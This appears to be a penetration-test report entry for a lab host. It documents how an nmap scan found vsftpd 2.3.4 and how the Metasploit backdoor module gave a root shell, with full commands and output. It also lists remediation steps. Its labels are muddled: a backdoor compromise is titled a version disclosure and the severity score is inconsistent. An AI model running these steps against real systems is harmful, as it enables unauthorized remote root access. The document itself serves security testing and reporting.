

Domain: 192.168.0.104

Vulnerability Name	Server version disclosure
Severity	10.0 - Critical
CVSS Score	Base Score: 9.8 Critical CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Description	Server version disclosure is a security vulnerability where a server inadvertently reveals information about its software version, aiding potential attackers. This disclosure often occurs through response headers, error messages and server banners.
Attack Scenario	When we have scanned the target system for open ports, we have identified that the FTP service is running on the system whose version is “vsftpd 2.3.4”. We have searched for this server version in exploit database and found that one public exploit(backdoor) is available in the Metasploit framework. We have used this exploit, ran this exploit against the target system to implant a backdoor which allowed us to execute commands on the target system remotely.
Vulnerable Location	PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 System IP: 192.168.0.104
Vulnerable Parameters	vsftpd 2.3.4
Reproduction Steps	1.Run nmap scan on 192.168.0.104 2.Find out open port 21 and server version vsftpd 2.3.4 3.Open msfconsole and follow the below commands. 4.Search vsftpd 5.Use 0 6.show options 7.set rhost 192.168.0.104 8.run 9.run Linux commands to check the backdoor connectivity.
Remediation	1. Update the FTP server version to its latest edition. 2. Make sure that security patches are up to date. 3. Disable server version banners in server configuration file. 4. Run FTP service in a low privileged user role. 5. Configure the firewall to block incoming requests to unknown ports/services. 6. Block outgoing requests from an unknown apps.
Sample Code	N/A
Reference	Link1 Link2

Proof of concept:

```
(rootkali2021)-[~]
# nmap -sC -sV 192.168.0.104
Starting Nmap 7.92 ( https://nmap.org ) at 2023-12-04 22:16 IST
Nmap scan report for 192.168.0.104
Host is up (0.00012s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
| ftp-syst:
|   STAT:
| FTP server status:
|   Connected to 192.168.0.113
|   Logged in as ftp
|   TYPE: ASCII
|   No session bandwidth limit
|   Session timeout in seconds is 300
|   Control connection is plain text
|   Data connections will be plain text
|   vsFTPD 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
```

```
(rootkali2021)-[~]
# msfconsole

IIIIII  dTb.dTb
II      4'  v  'B
II      6.   .P
II      'T;. .;P'
II      'T; ;P'
IIIIII  'YvP'

I love shells --egypt

      =[ metasploit v6.1.32-dev ]
+ -- --=[ 2205 exploits - 1168 auxiliary - 395 post ]
+ -- --=[ 596 payloads - 45 encoders - 11 nops ]
+ -- --=[ 9 evasion ]

Metasploit tip: Writing a custom module? After editing your
module, why not try the reload command

msf6 > search vsftpd

Matching Modules
=====

#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03      excellent No      VSFTPD v2.3.4 Backdoor Command Execution
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhost 192.168.0.104
rhost => 192.168.0.104
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name      Current Setting  Required  Description
----      -
RHOSTS    192.168.0.104   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT     21              yes       The target port (TCP)

Payload options (cmd/unix/interact):

Name      Current Setting  Required  Description
----      -
0  Automatic

Exploit target:

Id  Name
--  -
0  Automatic
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.0.104:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.0.104:21 - USER: 331 Please specify the password.
[+] 192.168.0.104:21 - Backdoor service has been spawned, handling...
[+] 192.168.0.104:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.0.113:44259 -> 192.168.0.104:6200 ) at 2023-12-04 22:19:30 +0530

whoami
root
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:f7:20:8a
          inet addr:192.168.0.104  Bcast:192.168.0.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fef7:208a/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:2383 errors:0 dropped:0 overruns:0 frame:0
          TX packets:2154 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:193503 (188.9 KB)  TX bytes:463704 (452.8 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
```